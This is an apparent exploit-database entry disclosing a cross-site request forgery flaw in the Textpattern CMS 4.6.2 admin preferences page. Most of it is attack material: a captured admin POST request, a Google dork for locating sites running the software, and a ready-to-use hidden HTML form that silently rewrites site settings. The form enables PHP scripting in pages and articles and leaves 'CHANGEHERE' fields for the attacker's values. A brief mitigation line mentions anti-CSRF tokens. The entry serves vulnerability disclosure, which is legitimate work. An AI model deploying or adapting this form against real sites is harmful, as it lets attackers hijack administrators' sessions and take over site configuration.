Textpattern CMS 4.6.2 - Cross-site Request Forgery

vendor:
Textpattern CMS
by:
Alperen Ergel
5.5
CVSS
MEDIUM
Cross-site Request Forgery
352
CWE
Product Name: Textpattern CMS
Affected Version From: 4.6.2002
Affected Version To: 4.6.2002
Patch Exists: NO
Related CWE:
CPE: a:textpattern:textpattern:4.6.2
Metasploit:
Other Scripts:
Platforms Tested: Windows 10 / XAMPP
2020
Textpattern CMS 4.6.2 – Cross-site Request Forgery

This exploit allows an attacker to perform Cross-site Request Forgery attacks on the Textpattern CMS version 4.6.2. The vulnerability exists in the admin > prefs > site section, where all inputs are vulnerable to CSRF.
Mitigation:

To mitigate this vulnerability, it is recommended to implement CSRF protection mechanisms, such as using anti-CSRF tokens and verifying the referer header.
Source
Exploit-DB raw data:

# Exploit Title: Textpattern CMS 4.6.2 - Cross-site Request Forgery
# Exploit Author: Alperen Ergel
# Contact: @alpren_ae
# Software Homepage: https://textpattern.com/
# Version : 4.6.2
# Tested on: windows 10 / xammp
# Category: WebApp
# Google Dork: intext:"Published with Textpattern CMS"
# Date: 2020-10-29
######## Description ########
#
# 1-) Loggin administrator page
# 
# 2-) Go admin > prefs > site
#
# 3-) All inputs vulnerable to CSRF
#
#
######## Proof of Concept ########

========>>> REQUEST <<<=========

POST /textpattern/textpattern/index.php?event=prefs HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/textpattern/textpattern/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 1806
Connection: close
Cookie: txp_login=localhost%2Ca170e235c4f2f59bb1300272c470807d; txp_login_public=a834cbdc8blocalhost; __atuvc=1%7C40
Upgrade-Insecure-Requests: 1

Submit=Save&sitename=victim+site&siteurl=victimurl.com&site_slogan=victimslogan&production_status=testing&timezone_key=Europe%2FBerlin&auto_dst=0&
is_dst=0&dateformat=since&archive_dateformat=%25b+%25Oe%2C+%25I%3A%25M+%25p&permlink_mode=section_id_title&doctype=html5&logging=none&expire_logs_after=7&
use_comments=1&img_dir=images&skin_dir=themes&file_base_path=%2Fvar%2Fwww%2Fvhosts%2Flocalhost%2Fhttpdocs%2Ftextpattern%2Ffiles&
file_max_upload_size=2000000&tempdir=%2Fvar%2Fwww%2Fvhosts%2Flocalhost%2Fhttpdocs%2Ftextpattern%2Ftextpattern%2Ftmp&plugin_cache_dir=&
smtp_from=&publisher_email=&override_emailcharset=0&enable_xmlrpc_server=0&default_event=article&theme_name=hive&module_pophelp=1&default_publish_status=4&
title_no_widow=0&articles_use_excerpts=1&allow_form_override=1&attach_titles_to_permalinks=1&permlink_format=1&send_lastmod=1&publish_expired_articles=0&use_textile=1&enable_short_tags=1&
use_plugins=1&admin_side_plugins=1&allow_page_php_scripting=1&allow_article_php_scripting=1&max_url_len=1000&syndicate_body_or_excerpt=1&rss_how_many=5&show_comment_count_in_feed=1&
include_email_atom=0&use_mail_on_feeds_id=0&comments_on_default=0&comments_default_invite=Comment&comments_moderate=1&comments_disabled_after=42&comments_auto_append=0&
comments_mode=0&comments_dateformat=%25b+%25Oe%2C+%25I%3A%25M+%25p&comments_sendmail=0&comments_are_ol=1&comment_means_site_updated=1&
comments_require_name=1&comments_require_email=1&never_display_email=1&comment_nofollow=1&comments_disallow_images=0&comments_use_fat_textile=0&spam_blacklists=&
custom_1_set=custom1&custom_2_set=custom2&custom_3_set=&custom_4_set=&custom_5_set=&custom_6_set=&custom_7_set=&custom_8_set=&custom_9_set=&custom_10_set=&
step=prefs_save&event=prefs&_txp_token=0342db47efb6882b488f6d367067d720


### EXPLOIT ####

<html>
  <!-- CSRF PoC -->
  <body>
    <form action="https://localhost/textpattern/textpattern/index.php" method="POST">
      <input type="hidden" name="Submit" value="Save" />
      <input type="hidden" name="sitename" value="CHANGEHERE" />
      <input type="hidden" name="siteurl" value="CHANGEHERE" />
      <input type="hidden" name="site&#95;slogan" value="CHANGEHERE" />
      <input type="hidden" name="production&#95;status" value="testing" />
      <input type="hidden" name="timezone&#95;key" value="Europe&#47;Berlin" />
      <input type="hidden" name="auto&#95;dst" value="0" />
      <input type="hidden" name="is&#95;dst" value="0" />
      <input type="hidden" name="dateformat" value="since" />
      <input type="hidden" name="archive&#95;dateformat" value="&#37;b&#32;&#37;Oe&#44;&#32;&#37;I&#58;&#37;M&#32;&#37;p" />
      <input type="hidden" name="permlink&#95;mode" value="section&#95;id&#95;title" />
      <input type="hidden" name="doctype" value="html5" />
      <input type="hidden" name="logging" value="none" />
      <input type="hidden" name="expire&#95;logs&#95;after" value="7" />
      <input type="hidden" name="use&#95;comments" value="1" />
      <input type="hidden" name="img&#95;dir" value="images" />
      <input type="hidden" name="skin&#95;dir" value="themes" />
      <input type="hidden" name="file&#95;base&#95;path" value="&#47;var&#47;www&#47;vhosts&#47;&#46;demo&#46;localhost&#46;&#47;httpdocs&#47;textpattern&#47;files" />
      <input type="hidden" name="file&#95;max&#95;upload&#95;size" value="2000000" />
      <input type="hidden" name="tempdir" value="&#47;var&#47;www&#47;vhosts&#47;&#46;demo&#46;localhost&#46;&#47;httpdocs&#47;textpattern&#47;textpattern&#47;tmp" />
      <input type="hidden" name="plugin&#95;cache&#95;dir" value="" />
      <input type="hidden" name="smtp&#95;from" value="" />
      <input type="hidden" name="publisher&#95;email" value="" />
      <input type="hidden" name="override&#95;emailcharset" value="0" />
      <input type="hidden" name="enable&#95;xmlrpc&#95;server" value="0" />
      <input type="hidden" name="default&#95;event" value="article" />
      <input type="hidden" name="theme&#95;name" value="hive" />
      <input type="hidden" name="module&#95;pophelp" value="1" />
      <input type="hidden" name="default&#95;publish&#95;status" value="4" />
      <input type="hidden" name="title&#95;no&#95;widow" value="0" />
      <input type="hidden" name="articles&#95;use&#95;excerpts" value="1" />
      <input type="hidden" name="allow&#95;form&#95;override" value="1" />
      <input type="hidden" name="attach&#95;titles&#95;to&#95;permalinks" value="1" />
      <input type="hidden" name="permlink&#95;format" value="1" />
      <input type="hidden" name="send&#95;lastmod" value="1" />
      <input type="hidden" name="publish&#95;expired&#95;articles" value="0" />
      <input type="hidden" name="use&#95;textile" value="1" />
      <input type="hidden" name="enable&#95;short&#95;tags" value="1" />
      <input type="hidden" name="use&#95;plugins" value="1" />
      <input type="hidden" name="admin&#95;side&#95;plugins" value="1" />
      <input type="hidden" name="allow&#95;page&#95;php&#95;scripting" value="1" />
      <input type="hidden" name="allow&#95;article&#95;php&#95;scripting" value="1" />
      <input type="hidden" name="max&#95;url&#95;len" value="1000" />
      <input type="hidden" name="syndicate&#95;body&#95;or&#95;excerpt" value="1" />
      <input type="hidden" name="rss&#95;how&#95;many" value="5" />
      <input type="hidden" name="show&#95;comment&#95;count&#95;in&#95;feed" value="1" />
      <input type="hidden" name="include&#95;email&#95;atom" value="0" />
      <input type="hidden" name="use&#95;mail&#95;on&#95;feeds&#95;id" value="0" />
      <input type="hidden" name="comments&#95;on&#95;default" value="0" />
      <input type="hidden" name="comments&#95;default&#95;invite" value="Comment" />
      <input type="hidden" name="comments&#95;moderate" value="1" />
      <input type="hidden" name="comments&#95;disabled&#95;after" value="42" />
      <input type="hidden" name="comments&#95;auto&#95;append" value="0" />
      <input type="hidden" name="comments&#95;mode" value="0" />
      <input type="hidden" name="comments&#95;dateformat" value="&#37;b&#32;&#37;Oe&#44;&#32;&#37;I&#58;&#37;M&#32;&#37;p" />
      <input type="hidden" name="comments&#95;sendmail" value="0" />
      <input type="hidden" name="comments&#95;are&#95;ol" value="1" />
      <input type="hidden" name="comment&#95;means&#95;site&#95;updated" value="1" />
      <input type="hidden" name="comments&#95;require&#95;name" value="1" />
      <input type="hidden" name="comments&#95;require&#95;email" value="1" />
      <input type="hidden" name="never&#95;display&#95;email" value="1" />
      <input type="hidden" name="comment&#95;nofollow" value="1" />
      <input type="hidden" name="comments&#95;disallow&#95;images" value="0" />
      <input type="hidden" name="comments&#95;use&#95;fat&#95;textile" value="0" />
      <input type="hidden" name="spam&#95;blacklists" value="" />
      <input type="hidden" name="custom&#95;1&#95;set" value="custom1" />
      <input type="hidden" name="custom&#95;2&#95;set" value="custom2" />
      <input type="hidden" name="custom&#95;3&#95;set" value="" />
      <input type="hidden" name="custom&#95;4&#95;set" value="" />
      <input type="hidden" name="custom&#95;5&#95;set" value="" />
      <input type="hidden" name="custom&#95;6&#95;set" value="" />
      <input type="hidden" name="custom&#95;7&#95;set" value="" />
      <input type="hidden" name="custom&#95;8&#95;set" value="" />
      <input type="hidden" name="custom&#95;9&#95;set" value="" />
      <input type="hidden" name="custom&#95;10&#95;set" value="" />
      <input type="hidden" name="step" value="prefs&#95;save" />
      <input type="hidden" name="event" value="prefs" />
      <input type="hidden" name="&#95;txp&#95;token" value="0342db47efb6882b488f6d367067d720" />
      <input type="submit" value="Do Action" />
    </form>
  </body>
</html>